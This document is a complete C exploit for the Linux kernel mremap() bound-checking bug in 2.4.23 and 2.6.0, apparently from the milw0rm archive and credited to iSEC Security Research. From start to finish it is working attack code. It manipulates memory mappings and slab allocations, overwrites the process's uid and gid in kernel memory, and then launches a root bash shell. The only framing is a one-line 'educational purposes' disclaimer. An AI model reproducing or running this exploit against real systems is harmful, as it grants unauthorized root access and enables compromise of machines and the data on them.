Linux Kernel <= 2.4.23 / <= 2.6.0 - 'mremap()' Bound Checking Root Exploit (3)



/*

 * Linux kernel mremap() bound checking bug exploit.
 *
 * Bug found by Paul Starzetz <paul isec pl>
 *
 * Copyright (c) 2004  iSEC Security Research. All Rights Reserved.
 *
 * THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS IS"
 * AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION
 * WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED.
 */

#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <syscall.h>
#include <signal.h>
#include <time.h>
#include <sched.h>

#include <sys/mman.h>
#include <sys/stat.h>
#include <sys/wait.h>

#include <asm/page.h>

#define MREMAP_MAYMOVE    1
#define MREMAP_FIXED    2

#define str(s)     #s
#define xstr(s) str(s)

#define DSIGNAL        SIGCHLD
#define CLONEFL        (DSIGNAL|CLONE_FS|CLONE_FILES|CLONE_SIGHAND|CLONE_VFORK)
#define PAGEADDR    0x2000

#define RNDINT        512

#define NUMVMA        (3 * 5 * 257)
#define NUMFORK        (17 * 65537)

#define DUPTO        1000
#define TMPLEN        256

#define __NR_sys_mremap    163

_syscall5(ulong, sys_mremap, ulong, a, ulong, b, ulong, c, ulong, d, ulong, e);
unsigned long sys_mremap(unsigned long addr, unsigned long old_len, unsigned long
new_len,
             unsigned long flags, unsigned long new_addr);


static volatile int pid = 0, ppid, hpid, *victim, *fops, blah = 0, dummy = 0, uid,
gid;
static volatile int *vma_ro, *vma_rw, *tmp;
static volatile unsigned fake_file[16];


void fatal(const char * msg)
{
    printf("\n");
    if (!errno) {
        fprintf(stderr, "FATAL: %s\n", msg);
    } else {
        perror(msg);
    }

    printf("\nentering endless loop");
    fflush(stdout);
    fflush(stderr);
    while (1) pause();
}

void kernel_code(void * file, loff_t offset, int origin)
{
    int i, c;
    int *v;

    if (!file)
        goto out;

    __asm__("movl    %%esp, %0" : : "m" (c));

    c &= 0xffffe000;
    v = (void *) c;

    for (i = 0; i < PAGE_SIZE / sizeof(*v) - 1; i++) {
        if (v[i] == uid && v[i+1] == uid) {
            i++; v[i++] = 0; v[i++] = 0; v[i++] = 0;
        }
        if (v[i] == gid) {
            v[i++] = 0; v[i++] = 0; v[i++] = 0; v[i++] = 0;
            break;
        }
    }
out:
    dummy++;
}

void try_to_exploit(void)
{
    int v = 0;

    v += fops[0];
    v += fake_file[0];

    kernel_code(0, 0, v);
    lseek(DUPTO, 0, SEEK_SET);

    if (geteuid()) {
        printf("\nFAILED uid!=0"); fflush(stdout);
        errno =- ENOSYS;
        fatal("uid change");
    }

    printf("\n[+] PID %d GOT UID 0, enjoy!", getpid()); fflush(stdout);

    kill(ppid, SIGUSR1);
    setresuid(0, 0, 0);
    sleep(1);

    printf("\n\n"); fflush(stdout);

    execl("/bin/bash", "bash", NULL);
    fatal("burp");
}

void cleanup(int v)
{
    victim[DUPTO] = victim[0];
    kill(0, SIGUSR2);
}


void redirect_filp(int v)
{
    printf("\n[!] parent check race... "); fflush(stdout);

    if (victim[DUPTO] && victim[0] == victim[DUPTO]) {
        printf("SUCCESS, cought SLAB page!"); fflush(stdout);
        victim[DUPTO] = (unsigned) & fake_file;
        signal(SIGUSR1, &cleanup);
        kill(pid, SIGUSR1);
    } else {
        printf("FAILED!");
    }
    fflush(stdout);
}

int get_slab_objs(void)
{
    FILE * fp;
    int c, d, u = 0, a = 0;
    static char line[TMPLEN], name[TMPLEN];

    fp = fopen("/proc/slabinfo", "r");
    if (!fp)
        fatal("fopen");

    fgets(name, sizeof(name) - 1, fp);
    do {
        c = u = a =- 1;
        if (!fgets(line, sizeof(line) - 1, fp))
            break;
c = sscanf(line, "%s %u %u %u %u %u %u", name, &u, &a, &d, &d, &d, &d);
    } while (strcmp(name, "size-4096"));
    
    fclose(fp);

    return c == 7 ? a - u : -1;
}

void unprotect(int v)
{
    int n, c = 1;

    *victim = 0;
    printf("\n[+] parent unprotected PTE "); fflush(stdout);

    dup2(0, 2);
    while (1) {
        n = get_slab_objs();
        if (n < 0)
            fatal("read slabinfo");
        if (n > 0) {
            printf("\n    depopulate SLAB #%d", c++);
            blah = 0; kill(hpid, SIGUSR1);
            while (!blah) pause();
        }
        if (!n) {
            blah = 0; kill(hpid, SIGUSR1);
            while (!blah) pause();
            dup2(0, DUPTO);
            break;
        }
    }

    signal(SIGUSR1, &redirect_filp);
    kill(pid, SIGUSR1);
}

void cleanup_vmas(void)
{
    int i = NUMVMA;

    while (1) {
        tmp = mmap((void *) (PAGEADDR - PAGE_SIZE), PAGE_SIZE, PROT_READ,
                MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE, 0, 0);
        if (tmp != (void *) (PAGEADDR - PAGE_SIZE)) {
            printf("\n[-] ERROR unmapping %d", i); fflush(stdout);
            fatal("unmap1");
        }
        i--;
        if (!i)
            break;

    tmp = mmap((void *) (PAGEADDR - PAGE_SIZE), PAGE_SIZE, PROT_READ|PROT_WRITE,
                MAP_FIXED|MAP_PRIVATE|MAP_ANONYMOUS, 0, 0);
    if (tmp != (void *) (PAGEADDR - PAGE_SIZE)) {
            printf("\n[-] ERROR unmapping %d", i); fflush(stdout);
            fatal("unmap2");
        }
        i--;
        if (!i)
            break;
    }
}

void catchme(int v)
{
    blah++;
}

void exitme(int v)
{
    _exit(0);
}

void childrip(int v)
{
    waitpid(-1, 0, WNOHANG);
}

void slab_helper(void)
{
    signal(SIGUSR1, &catchme);
    signal(SIGUSR2, &exitme);
    blah = 0;

    while (1) {
        while (!blah) pause();

        blah = 0;
        if (!fork()) {
            dup2(0, DUPTO);
            kill(getppid(), SIGUSR1);
            while (1) pause();
        } else {
            while (!blah) pause();
            blah = 0; kill(ppid, SIGUSR2);
        }
    }
    exit(0);
}

int main(void)
{
    int i, r, v, cnt;
    time_t start;

    srand(time(NULL) + getpid());
    ppid = getpid();
    uid = getuid();
    gid = getgid();

    hpid = fork();
    if (!hpid)
        slab_helper();

    fops = mmap(0, PAGE_SIZE, PROT_EXEC|PROT_READ|PROT_WRITE,
            MAP_PRIVATE|MAP_ANONYMOUS, 0, 0);
    if (fops == MAP_FAILED)
        fatal("mmap fops VMA");
    for (i = 0; i < PAGE_SIZE / sizeof(*fops); i++)
        fops[i] = (unsigned)&kernel_code;
    for (i = 0; i < sizeof(fake_file) / sizeof(*fake_file); i++)
        fake_file[i] = (unsigned)fops;

    vma_ro = mmap(0, PAGE_SIZE, PROT_READ, MAP_PRIVATE|MAP_ANONYMOUS, 0, 0);
    if (vma_ro == MAP_FAILED)
        fatal("mmap1");

    vma_rw = mmap(0, PAGE_SIZE, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, 0, 0);
    if (vma_rw == MAP_FAILED)
        fatal("mmap2");

    cnt = NUMVMA;
    while (1) {
        r = sys_mremap((ulong)vma_ro, 0, 0, MREMAP_FIXED|MREMAP_MAYMOVE, PAGEADDR);
        if (r == (-1)) {
            printf("\n[-] ERROR remapping"); fflush(stdout);
            fatal("remap1");
        }
        cnt--;
        if (!cnt) break;

        r = sys_mremap((ulong)vma_rw, 0, 0, MREMAP_FIXED|MREMAP_MAYMOVE, PAGEADDR);
        if (r == (-1)) {
            printf("\n[-] ERROR remapping"); fflush(stdout);
            fatal("remap2");
        }
        cnt--;
        if (!cnt) break;
    }

    victim = mmap((void*)PAGEADDR, PAGE_SIZE, PROT_EXEC|PROT_READ|PROT_WRITE,
            MAP_FIXED|MAP_PRIVATE|MAP_ANONYMOUS, 0, 0);
    if (victim != (void *) PAGEADDR)
        fatal("mmap victim VMA");

    v = *victim;
    *victim = v + 1;

    signal(SIGUSR1, &unprotect);
    signal(SIGUSR2, &catchme);
    signal(SIGCHLD, &childrip);
    printf("\n[+] Please wait...HEAVY SYSTEM LOAD!\n"); fflush(stdout);
    start = time(NULL);

    cnt = NUMFORK;
    v = 0;
    while (1) {
        cnt--;
        v--;
        dummy += *victim;

        if (cnt > 1) {
            __asm__(
            "pusha                \n"
            "movl %1, %%eax            \n"
            "movl $("xstr(CLONEFL)"), %%ebx    \n"
            "movl %%esp, %%ecx        \n"
            "movl $120, %%eax        \n"
            "int  $0x80            \n"
            "movl %%eax, %0            \n"
            "popa                \n"
            : : "m" (pid), "m" (dummy)
            );
        } else {
            pid = fork();
        }

        if (pid) {
            if (v <= 0 && cnt > 0) {
                float eta, tm;
                v = rand() % RNDINT / 2 + RNDINT / 2;
                tm = eta = (float)(time(NULL) - start);
                eta *= (float)NUMFORK;
                eta /= (float)(NUMFORK - cnt);
                printf("\r\t%u of %u [ %u %%  ETA %6.1f s ]          ",
                NUMFORK - cnt, NUMFORK, (100 * (NUMFORK - cnt)) / NUMFORK, eta - tm);
                fflush(stdout);
            }
            if (cnt) {
                waitpid(pid, 0, 0);
                continue;
            }
            if (!cnt) {
                while (1) {
                     r = wait(NULL);
                     if (r == pid) {
                    cleanup_vmas();
                    while (1) { kill(0, SIGUSR2); kill(0, SIGSTOP); pause(); }
                     }
                }
            }
        }

        else {
            cleanup_vmas();

            if (cnt > 0) {
                _exit(0);
            }

        printf("\n[+] overflow done, the moment of truth..."); fflush(stdout);
            sleep(1);

            signal(SIGUSR1, &catchme);
            munmap(0, PAGE_SIZE);
            dup2(0, 2);
            blah = 0; kill(ppid, SIGUSR1);
            while (!blah) pause();

            munmap((void *)victim, PAGE_SIZE);
            dup2(0, DUPTO);

            blah = 0; kill(ppid, SIGUSR1);
            while (!blah) pause();
            try_to_exploit();
            while (1) pause();
        }
    }
    return 0;
}



// milw0rm.com [2004-01-15]